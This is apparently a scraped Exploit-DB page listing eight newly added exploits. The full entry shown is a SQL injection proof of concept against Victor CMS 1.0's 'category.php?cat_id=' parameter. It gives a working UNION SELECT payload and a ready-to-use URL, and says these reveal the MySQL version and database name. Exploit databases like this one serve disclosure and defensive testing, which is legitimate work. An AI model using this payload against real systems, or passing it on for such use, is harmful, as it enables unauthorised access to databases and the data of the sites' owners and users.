6bdc0c9fda
8 changes to exploits/shellcodes Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit) Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting Victor CMS 1.0 - 'cat_id' SQL Injection qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting php-fusion 9.03.50 - 'ctype' SQL Injection Submitty 20.04.01 - Persistent Cross-Site Scripting NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password) Victor CMS 1.0 - Authenticated Arbitrary File Upload
18 lines
No EOL
749 B
Text
18 lines
No EOL
749 B
Text
# Exploit Title: Victor CMS 1.0 - 'cat_id' SQL Injection
|
|
# Google Dork: N/A
|
|
# Date: 2020-05-19
|
|
# Exploit Author: Kishan Lal Choudhary
|
|
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
|
|
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
|
|
# Version: 1.0
|
|
# Tested on: Windows 10
|
|
|
|
Description: The GET parameter 'category.php?cat_id=' is vulnerable to SQL Injection
|
|
|
|
|
|
Payload: UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--
|
|
|
|
|
|
http://localhost/category.php?cat_id=-1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--
|
|
|
|
By exploiting the SQL Injection vulnerability by using the mentioned payload, an attacker will be able to retrieve the database name and version of mysql running on the server. |